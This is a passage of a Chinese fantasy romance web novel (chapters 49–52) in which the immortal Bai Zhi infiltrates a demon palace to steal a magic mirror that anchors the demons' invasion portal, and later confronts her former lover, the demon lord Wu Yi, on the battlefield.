白芷思索着什么,双目渐渐亮起精光,眼下只有一人与她真心互通。
挥手间,她已现身黄鹂的境宫。
一只飞鸟受惊,鸣叫自枝头飞下,轻立白芷左肩,远处花树随风飘来暗香。
这鸟冠羽殷红,身着翠羽。长的十分讨喜,她伸手欲抚,飞鸟却原地消失了。
白芷愣住,方才立她肩头的小东西,就这么凭空消失了,再察觉不到气息。
49. 第 49 章
白芷历劫回来,对于其他天极都不太熟悉,认识的唯有一人。
黄鹂的境宫春和日丽、鸟语花香。
白芷刚踏入境宫,一只鸾鸟忽然从树上现身。
叫着自远处枝头飞下,轻轻啄她左肩,似是好奇,不愿离去。
白芷愣住,这只鸟就像是凭空从树上变出来的,她丝毫没有察觉气息。
黄鹂从远处飞来,笑道:“浮砂,莫要拿小白寻开心,她是有正事来的,没空和你玩乐。”
称做浮砂的鸾鸟有些调皮,边叫了一声。
浮砂从白芷肩头飞下又绕着她转一圈,几枚暗红羽毛落下,才依依不舍飞回远处枝头。
小东西瞬间遁入空中,不见身形。
“黄鹂,这是什么鸟?”白芷看着掉落掌心的羽毛。
“浮砂是鸱鸟,性子胆小,会隐匿身形,若是它不想见你,你是怎么也找不到它的。”
白芷把那枚漂亮羽毛收起来。
黄鹂很惊喜:“我养了几百年浮砂才和我熟悉,没想到一见到你,它就将尾羽给你了,鸱鸟的尾羽,可是很有用的。”
黄鹂领着白芷缓缓进入境宫。
“若不是我知道你原身是金莲,都要以为你也是一只鸟儿化形。”
白芷温柔一笑,跟着她,在一处幻化出的桃树下停止,长袖轻拂,变出一排玉桌凳,二人坐下。
黄鹂喜爱人间景色,境宫中也是一贯如此,鸾翔凤集,灵美秀气。
故人相见,原本可以聊的更轻松些,只可惜,她确实另有要事。
白芷开门见山,“阿鹂,绛仙洲没了,是什么时候的事?”
黄鹂收起笑容,变得正色。
其实,在白芷刚踏入境宫的那一刻,她就已经知晓白芷来此的目的。
她们相识已久,她的想法自己一看便知。
黄鹂缓缓开口:“已有三日。”
白芷心底一沉,比她想象中的还要快。
绛仙洲过后就是西边的全部岛屿,再深入就会一直到清虚天和紫胜岛。
掌心不自觉攥紧,时间不多了,她必须做点什么。
“魔族是如何闯入绛仙洲的?”
黄鹂瞪大双眼:“当然是两界阵,除此之外没有别的法子。”
的确,跨越界传送仅靠两界阵,但各岛屿都有仙族弟子驻守,为什么没有人发现传送阵?
黄鹂自言自语:“说起来,确实有点可疑。听说魔族布置的阵法难以察觉,导致驻守弟子错失良机,这才使绛仙洲失守……”
难以察觉,魔修布置的阵法和仙家套路全然不同,稍加探测便知,不可能无法察觉。
除非,他们动用仙族法器做阵法掩护。
她想到了什么,是浮华幻境!
“我知道了。”白芷忽然起身。
黄鹂怔住:“什么?”
“碧岚宫中有一面远古的仙族法器,名浮华幻境。他们一定是借用这面镜子掩护了两界阵眼。”
黄鹂一拍双手:“这就是驻守弟子没能发现阵法的原因!”
既然如此,需得即刻将此事上报天宫。
黄鹂捏诀:“我们这就去紫胜岛。”
白芷按住了她的手,摇了摇头。
“就算把这件事汇报给天宫,也需要派人去取回浮华幻境才行,这面镜子在碧岚宫,如果派出大量仙族,就会起正面冲突。”
黄鹂沉思:“那只能派人窃取。”
这显然也不合理,一个人深入敌腹,风险太大。
白芷点点头,顺理成章的继续说。
“是的,我很熟悉碧岚宫的地形,这件事情交给我最合适。”
黄鹂即刻反驳:“不行,太危险。先将此事告诉天宫。”
白芷挥袖召唤出绛仙洲的情形,魔族已经驻守在岛上,远远望去,地上还躺着数名惨死的仙族弟子。
“阿鹂,等不及了,再拖延一刻,会有更多仙族被屠,到时候嚣张的魔族就会攻破清虚天。”
白芷说的是实话,她是从碧岚宫妖身历劫归来,对那里自然熟悉。
若必须选一个人偷回浮华幻境毁去阵眼,没有人比她更合适。
“好吧,我答应先不汇报此事”黄鹂终于松口。
她看着白芷,认真道:“但必须让我和你一起去,否则你一个人,太过冒险。”
多一个人照应,白芷自然不会拒绝。
她勾起一个感激的笑:“好。”
……
魔界,碧岚宫。
角落里燃着一只紫玉焚香小炉,殿内烟云缭绕。中央一把看似白玉雕琢成的靠椅,细看才知道是白骨做的。
无奕坐在上面,支着脸面无表情。
弟子跪下汇报战况:“多亏了宫主利用浮华幻境打通前往仙界的阵法,如今魔族势如破竹,已经攻下绛仙洲。”
宫中竹海涛涛,沙沙的竹叶声响静谧非常,幽幽碧花香却刺得人鼻子很不舒服。
“前线回报,最多三日就可以攻上紫胜岛,请宫主即刻前往仙界战场统领。”
听闻前线喜讯,宫中一众长老护法齐聚。
“哈哈哈,好!可笑仙族建天宫于紫胜岛,却被我族轻易攻破,看来,仙界防守并非传闻中那般固若金汤。”
“自从魔族得长生,仙族便恨不得将众魔修斩尽杀绝。我们尽管大开杀戒,不必手下留情。”
气氛畅快,众人面露喜色,交谈甚欢。
无奕听了,却没做任何表示,起身便离去,丢下句:“知道了。”
未曾想,宫主竟兴致缺缺,并无谈兴。
众人哑然失笑,面面相觑:“这......宫主这是怎么了?”
这几日,无奕议事都心不在焉。赤地本想跟出去,最终还是看他的背影沉默。
无奕独自离开后,也不施法,慢慢步行到花海,站着出神许久。
他招了一个弟子过来,说道:“那只花妖从轮回司投胎去了哪里,派人查一下。”
不为什么,为了曾经的交情,或许也可以帮帮她的来世。
其实除掉转轮王后,他虽统一魔界,但并不是无事可做。如今魔族强盛,正是攻打仙界的大好时机。
可他明明知道要去做什么,但却不明白为什么自己会失去自制力,竟然控制不住,想要去轮回司询问一只花妖的下落。
或许他对她......并不是没有歉疚。
天香自然已经不在魔界,妖族可入轮回,魂魄就该收入轮回司,只要稍加询问,就可以知她去向。
他也不知道自己想知道她去向干嘛,总不可能去找她吧?
不知怎么的,他心里翻来覆去,只是这一件事。
……
白芷与黄鹂已经身处碧岚宫。
四周皆是雾瘴,为防外敌,阁楼坐落的矮山已笼罩在一片浓稠的瘴气之中,隐约可见偶尔露出的峭壁轮廓。
白芷不敢大意,边压抑着呼吸,时刻观察四周,远处可见烟启阁露出的檐角。
光是弥漫不去的蚀骨瘴气,就足够让境界低微的小妖尸骨无存,更遑论阁楼附近还有数十名高境魔修把守。
好在二人已服下免疫毒瘴的清心丹,
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即便如此也不时感到晕头转向。
此地是烟启阁附近的树林,只要施法悄然进入阁中,就可以破坏阵眼偷走浮华幻境。
白芷默声指着远处,黄鹂意会的点点头,二人捏一道仙诀罩在身上隐匿身形。
她们配合十分默契的向烟启阁走去。
阁楼就在矮山北面,走过盏茶时分就能到了,好在这段路没有弟子看守。
绕过小路,此处雾气稍散,白芷朝着山下望去,眼前峰峦叠嶂,远处宫内弟子少了很多,显得空荡荡。
大部分魔修都去往仙界战场了,除去烟启阁作为阵眼关键处有人把守,其他地方都没什么人。
本以为此生不会再踏足碧岚宫,想不到她又回到这里,是为了偷浮华幻境。
黄鹂注意到她的分神,朝她淡淡一笑,握紧她的手。
白芷即刻正色起来,收敛思绪,与黄鹂向阁楼前进。
相隔不远,已经能感受到风中传来的强大魔息,前方就是烟启阁。
不同往日,门前有十余名弟子把守,皆是藏胎境以上的高手。
好在她也不在是以前那只小花妖,正门进入风险太大,从其他地方进去不就行了。
白芷翻手捏诀,趁着把守弟子巡逻空隙,在墙上开一道口子,二人入内后,墙壁波动一秒便复原。
“方才这堵墙是不是动了一下?”一名把守弟子揉眼。
虽只是随口一说,但若是仙族入侵,可不是开玩笑的。
几人当即戒备,施法查看烟启阁四周,发现并无异样。
另一人关心:“还好是虚惊一场,我看你是巡逻累了,不如歇会?”
仅隔一堵墙,白芷和黄鹂贴着偷听阁外把守弟子的对话,松一口气。
她们虽然境界高超,偷偷入阁不是难事,但若是把守全力搜寻,也可以发现她们存在。
一旦暴露,脱身就难了。
方才她们进入阁中万般小心,还是被一名把守发现,好在她藏在身上的那根鸱鸟羽毛居然发挥了作用。
羽毛散发出灵力,掩盖了二人气息,这才躲过魔族搜寻,不愧是天生以藏匿技巧突出的仙鸟。
“浮砂很聪明,不会无缘无故给你羽毛,万物皆有灵。”黄鹂眨巴眼。
白芷微笑,但不敢大意,留一刻都是危险,不得再耽误。
她们朝着阵眼走去,上一次来这里,白芷清晰记得,进入浮华幻境受到领域影响,入阁的门口就会消失不见。
这一次却没有受到影响,门口依旧在不远处,看来她境界提升已经可以识破迷障。
阁内地面上是一面巨大漫无边际的水境,别看它大,只要收进储物袋,也不过手掌大小。
镜中央设一道阵法,深深的,像是刻在镜子上一般。
阵发上是暗红色的魔纹,盘根交错,借幻镜的法力闪着红光。
那红光又映在镜子里,形成更耀眼的阵芒,场面几分诡异。
白芷将掌心按在阵眼之上,徐徐向内注入仙力。
“只要断开阵眼和幻镜链接,就可以将浮华幻镜取走。”白芷蹙眉,手中继续施加法力。
“好,我来帮你。”黄鹂也半跪下来施法。
此刻碧岚宫中没什么人,大部分弟子都去了仙界战场。
白芷也早已放出神识探测,无奕也不在宫中,兵不可无将,想必他是正在仙界战场。
她们只需要花费一点时间,就能断开链接,取走幻镜。
此地不宜久留,离开越快越好。
白芷不敢怠慢,朝着阵眼不断注灵,额角都溢出几滴汗。
50. 第 50 章
湖中蜻蜓飞得极低,或许是风雨欲来。空气变得沉闷,像是无法呼吸。
无奕按了按眉心,向烟启阁走去。
他不愿想起天香,每次想起她,都会觉得自己陌生,仿佛理智从身体中抽出,只能逐渐疯狂。
他本该第一时间用传送阵前往仙界战场,却不知为何派人打探她的消息。
更奇怪的是,轮回司的运行一切正常,近来所有收容的妖魄都没有她的气息,哪里都找不到。
她仿佛从来没有存在过,从他的世界凭空消失了。
怎么会这样?
这个问题没有答案,造成这一切的明明是自己,无奕摇摇头。
昔时人已去,如今他还揪着她的转生路不放,岂不是可笑。
“宫主。”门外把守行礼传来。
“阵眼可有异常?”
“回宫主,一切正常。”
阁内白芷正全神贯注分离阵眼,直到对话声清晰传入她的耳朵,才吓得指尖颤抖。
白芷感到一瓢冷水从头浇到脚。
碧岚宫从来只有一位宫主,偏偏这时,无奕回来了!
方才他明明不在这附近,此刻战况危机,自然以为他在仙界战场,谁曾想,他居然还在碧岚宫。
阁楼的大门已经有推开趋势。
黄鹂比她反应更快,急切道:“快拿出浮砂的羽毛!”
大门开启,他在逆光中走进来。
空气中寂静的仿佛要凝固,他的眉眼依稀如旧。
阵眼的红芒受到骤然抽离的仙力刺激,短暂波动,连他的玄衣也像被沾染血色。
流动的红光侵占了整个视野,压抑而刺眼。
心有钝痛感袭来,分别仿佛只在昨日。
白芷脑海中无数和他的回忆画面喷薄欲出,压的她呼吸都停滞了片刻。
黄鹂加紧催促,白芷忙将鸱鸟羽毛放在掌心。
一瞬间,她们就消失在原地,波动后化做与周围景色一致,藏匿了气息。
故人相见,黄鹂自然明白她的心情,同白芷密音传话。
——糟了小白,怎得让我们撞到这大魔头,羽毛在他手底下撑不了太久。若是不慎暴露,我们就先撤回仙界,幻镜的事情以后再说!
白芷一动不动,仿佛没听见般,看着无奕出神。
他依旧是白玉面容,眉梢锋利,带着一丝傲气,进来时却皱着眉,像有心事。
不知他除掉异己,坐上魔君位子,甚至已经拿下绛仙洲,还有什么可担忧。
她甚至有些怀疑,焦急的人不是她,而是无奕。
不过,她确实还没有做好见他的准备。
曾以为自己会恨透了他,谁知真到了这一刻,除去难以割舍的回忆,过往所有爱恨苦楚都一并消散了,更多是释怀。
鸱鸟羽毛发着光,他看不见她,白芷闭上眼,要逃避吗?
方才慌乱之中也想,若是不慎暴露,索性就此遁入阵眼逃回仙界,总好过见面。
待他攻上清虚天,二人不得不见面时,再与他做个了断。
可这样,真的对得起族人吗?
上任天极全部因她而死,梵天尊首身死,金仙却留她一命,封位天极。她不该这么自私,应该肩负起守护清虚天的职责。
白芷朝着黄鹂摇了摇头。
——我没事。
她不会再逃,若是暴露,必当竭尽全力破坏阵眼,就算是拼上性命,也要夺走幻镜。
无奕走入阁内,一瞬间惊讶,空中竟然依稀还留着她的发梢清香。
看四周什么人也没有,又自失一笑,哪里来的清香,她早就不在了。
思绪原本抽离,看到阵眼异常的红光,心才逐渐沉静下来,脚步停在阵眼附近。
他眸光微动,细看阵眼刻痕:“幻镜的链接松动了,阵眼被人动过。”
无奕环顾四周,目光审视犹如实质,带来一种无形的压迫感。
看守弟子不敢相信:“什么?!我们轮番值守,一只苍蝇也没放进去过啊。”
一统魔族后,无奕渐渐变得脾气无常,但凡有人没有完成任务,立刻会遭到责罚。
他们已经万般谨慎,竟还有人瞒天过海动了阵眼。
宫主的开口质问弄得他们心惊胆战。
无奕伸手触及幻镜:“好在阵法还没有遭到破坏,来者是仙族高手,身怀藏匿仙宝,一般人难以察觉。”
看守弟子脸色惨白的跪下:“宫主,是我等看守失职!”
无奕皱眉,难道仙族已经发现碧岚宫以浮华幻镜为阵眼了?
不会,阵眼完好,只是稍微松动,上面残留仙力不多。
他淡淡扫视整间阁楼:“那阵眼早该破了,是有人只身探我碧岚宫取镜,却被我撞破。”
“竟有仙族如此大胆!”
无奕眸色暗沉:“阵眼没有开启的迹象,他们还在这里,活捉就可以将功抵罪。”
来人只是将灵息收敛,靠仙宝藏匿,除非他将仙宝击破,否则察觉不到任何气息。
按照阵眼遭受攻击的方位来看,时间紧迫,跑不了太远,此处最有可能。
几乎是同时,冰冷的气息夹杂在凛冽剑气中袭来。
昆仑雪有多快,剑风如闪电没有半点破绽,有多利,纵是万丈高山也能在剑下轻易劈开。
那感觉太熟悉,白芷吓得手足僵直。
黄鹂发现白芷的不对劲,但来不及安慰,忙向羽毛输送灵息,加固藏匿罩。
可惜无奕出剑太快,眼前已经碎出一条缝隙!
白芷思绪翻涌,咬住下唇,心中一瞬茫然。
这就是当年她一心想陪伴的人,与他走过万水千山,从天璇宗到碧岚宫。
过往的回忆还深深刻在脑海,却淡如白水,已经尝不出滋味。
难道造化弄人?冥冥之中她就一定要和他相见,爱恨交织无用,撕心裂肺徒然,到现在只剩下争锋相对。
或许他从来就没有变过,只是她再也不是曾经那个懦弱的花妖。
她不再是她,那些爱意,也随风消散了。
那剑风呼啸,从缝隙挤进来,吹得发丝飞动,可就在快破开护罩时忽然消失。
一道熟悉的黑色身影急急忙忙窜了出来。
无奕转头看去,黑猫前爪落地,向前进步。
乌星原地化人形,眼中说不出的嘲讽:“哼,你要是再来晚一点,阵眼就被我破了。”
白芷愣住,乌星在她心中还是那个调皮捣蛋有自己想法的黑猫精,险些将她的笛子一把丢进浮华幻镜,如今这幅神情,
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仿佛像变了个人。
乌星盯着无奕,竟然露出杀气:“怎么了,没想到是我?”
破坏阵眼的人已抓到,看守弟子即刻将他团团围住,幻镜映射出剑的寒光。
“炼骨境的黑猫妖也敢动阵眼,我看你是活腻了!”
无奕长眉微微蹙起:“你如何能施展出仙术?”
乌星斜眼瞥了无奕一眼,龇牙咧嘴:“本大爷自有妙招,为什么要告诉你,我又不是任你差遣的碧岚宫弟子。”
无奕面无表情,哼了一声。
看守弟子毫不犹豫向乌星刺剑,施展魔息,震碎了他的防御,眼看一剑就要他命。
白芷躲在羽毛的藏匿罩中,感到心扑通扑通的跳,脑海中只有一个念头,决不能让乌星死。
她已是仙体,能全力一战!
一冲动,就要现身,却被黄鹂拉住了手臂。
狭小的阁楼中传来一声清脆的瓷瓶碎裂声音,仙瓶碎裂一地,化白烟消散。
无奕冷笑道:“原来是装着仙力的玉净瓶。”
这也解释了为什么乌星能施展出仙力破坏阵眼,这只猫妖不知何处弄来的仙宝,威力不俗。
乌星脸上一闪而过的肉痛,仍是愤恨道:“呸,打碎又如何,你害死小香姐姐,我虽做不到杀你报仇,但你想做什么,我就偏不让你如愿,这阵眼我迟早毁了。”
无奕面色并无不悦,提到天香时却脸色微微一变。
他神情冷凝,质问乌星:“她的魂魄去了哪里?”
白芷听得心中一凛,他已是碧岚宫主,万魔朝拜的魔族主君,为什么如此在意自己魂魄?
乌星不由得笑出声来,慢慢道:“原来你在找小香姐姐,那你问错人了,我又不是手刃她的凶手,如何得知啊?而且,你就算找到,她也绝不想见你。”
乌星刻意将最后几个字加重,气氛似忽然安静。
几名看守都未敢发话。
无奕脸上竟然有淡淡毛骨悚然的笑意:“杀了他。”
无奕的声音甚至可以称得上温柔,白芷却无声无息打了个哆嗦。
手心浸着汗,她知道,无奕生气了。糟了,乌星......
黄鹂担忧看着脸色苍白的白芷。
看守弟子领命而去,一齐施展招数,魔息腾飞,刷刷刷几声,剑光飞舞映照在镜子上愈发闪亮。
乌星忙后退闪避,看得出有丝慌张,果然不慎受伤,很明显,他拙劣的妖术抵挡不了多久。
过了半晌,乌星唇角微微一勾。
一阵紫雾,他就地化作原形:“呵,魔君好狂妄,可惜猫妖最拿手的本领就是逃跑,咳咳,可别忘了,在天璇宗上你就没有抓住我。”
“你这猫妖,休要啰嗦!”
他负伤痛楚,还有些呛咳,说完几句挑衅发言就向外窜去,众弟子岂会轻易放过他,几人忙追出去。
乌星背上挂着道道血痕,就连左后脚也受了伤,跑起来身躯一歪一歪,勉强移动着僵硬的步子,却一直跑不曾停下。
强撑罢了。
无奕见乌星狼狈模样才平静些许,仍是心中不快:“只会逞口舌之快的跳梁小丑。”
他竟然因为一只下贱猫妖耽误这么久,皱了皱眉,单手催动阵法,红芒散去就消失在原地。
51. 第 51 章
无奕已经离开,白芷忙从羽毛的藏匿罩中出来。
看守弟子个个境界高深,乌星又身负重伤。
“糟了,乌星他……”她就要跑出阁楼追。
黄鹂伸手拦住她:“小白,你忘了我们来碧岚宫是干嘛了?大魔头好不容易走了,得赶紧回收幻镜!”
白芷没有推开黄鹂的手,在原地犹豫不决。
“我知道,那只猫妖是你故友,为了救你陷入危险,可你若是出去救他暴露,岂不是白白浪费他保护你的一番心意!”
白芷松开得掌心又握紧,低下头:“……好。”
是啊,她现在没时间救乌星,若是不早点切断阵法,就会有更多仙族受伤。
乌星,你千万不要出事……
白芷回到阵眼中央,再度向镜中刻痕输入仙力。
她们齐心协力,血色刻痕阵眼终于从浮华幻镜上生生剥离下来。
阁楼中红芒渐渐淡去。
那阵眼离开了镜子支撑虚浮在空中,没过多久便自行消散了。
再一施法,大无边际的浮华幻镜瞬间变作巴掌大小,落入了白芷手中。
整座阁楼失了幻镜,光华不再,露出普通的墙壁,顿时变得凡俗寻常。
她们布一道传送阵,即刻便回往清虚天。
……
白芷与黄鹂分别,独自回到清虚天。
或许天极们都在心境宫修行,清虚天空无一人。
穹顶仙云愈发暗淡,地界元气大伤,魔族进攻速度比她们想象的还快。
破绛仙洲过后就是绛霭洲、绛玄洲,直到一路攻破紫胜岛天宫。
幻镜在烟启阁中大无边际,如今在她手掌中只比方寸略大些。
须弥藏芥子,芥子纳须弥。不愧是上古仙器,大小无碍。
她默默看着镜中自己,面容疲惫,碧岚宫高手太多,她和黄鹂两个人去还是太冒险。
好在有惊无险,终于从碧岚宫取回浮华幻镜,如今阵眼已破,正是反攻魔族的好时机。
她收起镜子,嘴角欣喜扬起,要快些向天宫汇报此事。
一个熟悉的声音忽然想起:“你去哪里了?”
白芷吃了一惊,转过头时,却见万法尊首不知何时已然凭空出现在她身后。
毫无察觉。
他的声音森冷低沉,和平日里温和模样很是不同。
靠的也很近,几乎已至跟前,快挨在一起。
白芷感到不安,后退半步避开,微微一躬身,向他行礼。
“回尊首,观尘去了碧岚宫。”
他眉心微蹙,见她一副满怀心事的样子,身上果然带着该死的碧花香。
已经脱离妖身,回归仙体,这时候为何突然去碧岚宫,难道她心里还是只装着无奕?
无端感到一股威严强大的灵压袭来,连缓缓起身时都稍微费力,白芷怔怔抬起头。
衍决漠然地注视着她脸上疑惑的表情。
白芷忽然感觉自己的心脏抽了一下,好熟悉。
只是提到碧岚宫,尊首竟然反应这么大,几乎完全超出了自己预料之外。
她无意识袖中捏诀,甚至想探神识确定这是万法本人。
但这么做十分冒犯,她又按耐下冲动。
和他冰冷的目光对视时,她深深觉得,第一次在清虚天见他时那种不舒服的体验再度出现。
她有些吓到了,这真的是万法尊首吗?
衍决慢条斯理的将指尖插入她发间,微微一笑,下挪捧着她的脸,有种说不出的暧昧。
他几乎全副心神都在她身上,白芷的反应虽然轻微,却是瞒不过他。
她怀疑又警觉的目光和欲言又止的神情,都在告诫自己不能操之过急。
要吓到小白兔了,他即刻收敛神色。
衍决又换上温和的笑,只是眸色极深,慢悠悠道:“正当仙魔大战,西境岛屿自绛仙洲被破以来几乎化为焦土,观尘天极此刻孤身前往魔界碧岚宫是所为何事?”
他眸中虽有一丝笑意,却是沉沉望着她。
原来尊首认为她偷跑碧岚宫是为私心,白芷这才知道自己被误会了。
她再也忍不住,忙解释道:“观尘去碧岚宫是为了取仙镜。”
白芷望着他:“尊首有所不知,碧岚宫有一面神镜名浮华,魔族就是借此物为契机布阵,观尘此行收回了这面镜子,破坏了魔族的传送阵。”
衍决听到她拿回了浮华幻镜,微微惊讶。
他笑意更深:“原来你是这样想的。”
衍决垂下眸,面上似笑非笑。本以为她还是放不下无奕,又去了碧岚宫。
没想到她开窍的这么快,竟然把镜子偷回来了,计划异常顺利。
她居然把浮华幻镜拿回来了,这岂不是更方便自己行事?
启动幻镜就可以恢复她的记忆,接下去只要大量法力驱动镜子。
那就需要借助仙魔大战的力量了。
白芷愣住,自从经历碧岚宫的事情以后,无论看到任何事,听到任何话,她都怀疑那可能都是假的。
比如现在,万法尊首虽然面上温和了许多,但总觉得仍有些淡淡的违和感。
“嗯,为击退魔族,切断阵眼,确实是正途,不过一个人去太冒险,下次不准这样了。”
白芷点了点头:“是,尊首。趁魔族还不知道阵眼已破,需要尽快将此事汇报天帝。”
衍决盯着她半晌,微笑道:“你且把幻镜交与我,我们一同前往紫胜岛。”
白芷忽然觉得他的声音也很是熟悉。
虽然不知为何他要拿走浮华幻镜,但转念一想,她留着镜子也没用,白芷将幻镜交了出去。
衍决眼中带浅浅笑意接过镜子,二人这才前往紫胜岛。
他们于九天之上的星稀长河内穿梭,不一会便到达目的地。
远远便有苍翠兰竹入目,鸟鸣溪涧,芬芳海棠香随着风吹来,岛上种满棠花,天边有紫色祥瑞霞光,美不胜收。
传闻这里是上古天道魔道诞生的地方。
再入主殿登云殿,地板闪烁点点星光的玉石与穹顶斛珠一般耀眼,四周飞天仙女的壁画繁琐绝美。
天帝坐在正中最高处,金仙也坐在一旁不远处,除此之外众多高阶上仙周身光华难掩。
白芷正被景色惊呆,众人一齐向他们看来,她不免微微怯场。
万法一笑安抚她,入殿端正行礼:“我有要事汇报诸位上仙。”
……
无奕到了绛仙洲,这里已经看不到仙
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族,几乎化作一片焦土。
贾勉上前汇报战况,他安静听着。
“绛玄洲的仙族们也降了。”
当初夺得平等城王后,贾勉也归顺了无奕,如今在他手底下做事。
轻易仙族地界的计划井然有序的进行着,按照现状持续发展,魔族力压各族的局面唾手可得。
无奕本该志得意满,却发现自己根本没有那种心情。
又想起方才烟启阁荒唐的场景。
内心的疑问几乎是慌张失措地涌起,为什么?
方才黑猫妖提到他也不知道她去了哪里时,自己只听到嗡的一声巨响,胸口仿佛被狠狠捶了一下。
为什么他那么想知道她魂魄去了哪里,只要想起那个人,他就忍不住分神。
偏偏没有任何消息,可她明明是妖族,妖族可入轮回,为何寻不到她的踪影。
心有种难过的感觉,又无法治愈,只能仍由它痛着,沉闷到难以呼吸。
居然有种隐秘的想法,无论如何也要找到她在哪里。
他只想让她待在自己能看到知道的地方,即使是轮回转世,他还能去找她,她已经忘了自己,他也能以旁观者的姿态。
可若是她轮回有了新的身份、新的朋友,和另外喜欢的人,该怎么办?
不知为何,他希望她只能见着他一个人,想着他一个人,记着他一个人。
这种奇怪的想法他并不觉得突兀,再说他境界通天,找一只妖的魂魄转世,再带回碧岚宫,有什么难?
就算她想起一切,抗拒自己,也由不得她。
这些念头,从她死后就一直有,最近愈演愈烈。
偏偏他却理智到了极点,事无巨细,有条不紊,从不出错。
他开始对碧岚宫的事非常上心,攻打仙族也即刻提上日程,所有安排都缜密合理,只等一举攻破紫胜岛。
现在他才知道,原来自己只是不愿意想起那个名字。
赤地的话打断他思绪:“宫主,绛霭、绛玄洲都已攻破,清虚天主和天极尊首此刻都在天宫,不妨长驱直入,今日就可以攻上紫胜岛。”
“嗯,即刻召集所有人”他淡淡吩咐。
千里带着众高阶魔修,先行化一道黑雾就向着紫胜岛而去。
无奕垂眸,眸色深邃。
眼下只能先完成这件更紧迫的事,等他拿下仙族地界,就亲自去搜寻她魂魄,掘地三尺也要找出来。
……
万法正将事情汇报结束,一名侍卫就慌忙闯了进来:“大事不妙,魔族已经攻上紫胜岛了!”
众上仙闻言面色惊讶又急迫,即刻释放召唤仙诀。
有大量仙族弟子凭空出现在殿内受召而来,皆是面色凝重,准备背水一战。
天帝大气挥手直接拂开殿门,清虚、菩提、四海三大境天主一齐到场,众人化身金光迅速来到到殿外。
白芷跟着出来,不由得为眼前的场景吃了一惊。
面前全是乌泱泱排列一大片的魔修,其中有她熟悉的人赤地、千里,甚至贾勉大哥也站在其中。
居中的男子玄色长衫曳地,淡漠中有种蔑视众生的气度,让人心折。
居然是无奕!
重逢来的如此突然,她愣住说不出话来。
52. 第 52 章
他的长衣委地,面容清俊,眸底是一贯的清冷和漠然,衣带随剑气而动,颇有睥睨之姿。
这人再也不是初见一身宗门常服的天璇宗师兄,已是万千魔族唯一的主君,碧岚宫主。
这一天终究要来。
他们之间的相遇好似一场漫长的浮光掠影,此刻化作无影无踪一个梦。
他总是这般面色如常、冷静自持,想来她的死对他也没造成什么改变。
仔细想想,若她能像他那般铁石心肠,反倒远离红尘苦楚、世情沉沦,还真有些让人羡慕......
但她到底太过心软,才会死在他手上。
罢了,如梦一场。
白芷轻叹一口,什么也没说,眼中平静淡然,只是坚定的站在清虚境主金仙身后。
“执迷不悟!”菩提境主长眉一簇,挥手间投掷出一柄巨大般若杵,落地砸出一个大坑,几名魔修当场作灰。
四海境主也冷笑一声,品凭空召唤出一只巨大沾墨毛笔,在空中挥洒写意,无形的墨汁顿时画地为牢,将数名魔修囚禁其中。
“岂有此理,若不是长生被魔族窃取,哪里轮的到你们在紫胜岛跳脚!”
眼看数名魔修被困墨笼,硕大的般若杵又要砸下,千里似一道黑影窜出,将魔息缠绕手中,凭空将墨笼徒手撕开一个口子。
赤地即刻幻化出几条黑雾萦绕的铁链,密密麻麻将般若杵缠住,纵使菩提境主如何施法也难进半步。
他二人配合默契,手起刀落取几个仙族弟子性命。
赤地嗤笑一声:“长生道人人觊觎,谁说的仙族必得长生?这算哪门子的窃取?分明是你族道消式微。”
菩提境主眼中满是怒火:“魔宗功法无常,杀人夺宝,血尸炼术,不在话下,魔族得长生道已经大盛,若任由你们发展,恐三界生灵涂炭。”
贾勉冷笑:“在你们眼里,根本不止魔族,所有外族都是功法无常的邪能。”
赤地收回铁链笑道:“分明是门户之见,利我者正,逆我者邪,今日魔族踏平紫胜岛,从此魔族就是大道,还有什么可分说。”
天帝不怒自威:“荒唐!自紫胜岛孕育天道起,仙族便是万古唯一的大道!本座从古至今也只有这一个身份,那就是统领仙族的帝王。猖狂的魔族,可曾掂量过自己几斤几两?”
金仙手中结印:“没错,自长生被魔族所得,魔道愈发道长,吾既任清虚境天之主,全力以赴栽培新任天极,方不堕我清虚之威,为的就是今日!”
空中气温骤降,水汽凝结细小雪花绕着长剑飞舞,如银白色光带。
无奕提着剑,于众魔修之间走出,肃杀之意凛冽:“当年我杀光了天极,今日照样可以。”
天帝都苍老了几分,岁月却没有在无奕脸上留下任何痕迹,得长生道的魔族便是如此,只要不死,寿命无穷无尽。
金仙身后一人怒不可遏:“若不是那侍女拿来封脉丹解药,你早就死无葬身之地了!梵天尊首也不会故去。”
提及这段往事,无奕眸光微动。
金仙挥手制止,故人已逝,白芷已经位列天极赎罪,过往事情就别再追究了。
可当年的事情,就像一根刺,永远潜藏在她心中。
是她一手酿成了清虚天灾祸,这件事情,终究必须要她亲自做个了结。
白芷低着头默默听着,忽然从人群走出去。
黄鹂拽她衣袖,低声道:“小白,你去哪里?现在不是任性的时候,这都过去了,你别去掺和!”
她拂开黄鹂的手,在众目睽睽下跨过台阶,挺直脊背,站在魔族大军和无奕面前。
“我就是当年的侍女,白芷。”
众人纷纷朝她看来。
“是观尘天极!”
“原来观尘天极就是当年的那个侍女。”
她历劫回清虚天的事情秘而不宣,众仙家只知神秘有缘人坐上了观尘天极位子,还有不少人头一回知其身份。
无奕也是微微一怔,没料到她忽然主动出现。
“大胆!!”
她走向前,魔族纷纷亮出兵器,护卫主君。
他身后万千魔修,她身后众上仙齐聚,而他们之间方寸之间的天地,好像除去剑风悄无声息,一如当年。
白芷站定缓缓开口:“当年是我酿成了大错。”
无奕有些短暂失神,好像星月倒退,洪荒分离,沧海桑田,时间只是慢慢退回原点,他仿佛退回碧岚宫,再退回天璇宗。
无论是谁在他身边,他总是寂寞的。来来去去,也不过剩他一个人。
自从那只花妖死后,原以为自己会很快忘记她,但那种感觉就像剑身周围环绕的千万冰凌,几乎萦绕不去,他不时就会想起她。
方才见到眼前仙族女子忽的出现,他一恍愣神,几乎以为这就是她。
可又不似她,眼前女子的眼睛里比天香更坚定。无奕先前还有怀疑,但在这个时候也已尽去。
那只花妖总是神情无限温柔,甚至有点懦弱,这种场面下,她是绝对不敢站出来的。
眼前这个叫白芷的女子,有点熟悉。他忽然想起,自己曾经阴差阳错以血灌溉了一株金莲化形,就是她。
但记忆中,他对白芷只有往昔情谊,却是无半分爱慕之情。
可当她站到他面前,恍惚中,他为什么会看到天香?
然而他知道,她们不是一个人,这一切不可能发生,又忽然自失一笑。
心渐渐极静下来,细碎雪花夹在冰冷的风里,用了这么久,他头一次觉得昆仑雪触之冰凉,剑身映出冷冷光辉,他很想知道她去了哪里。
或许想问问她为什么这么傻吧,为什么一直陪着自己。
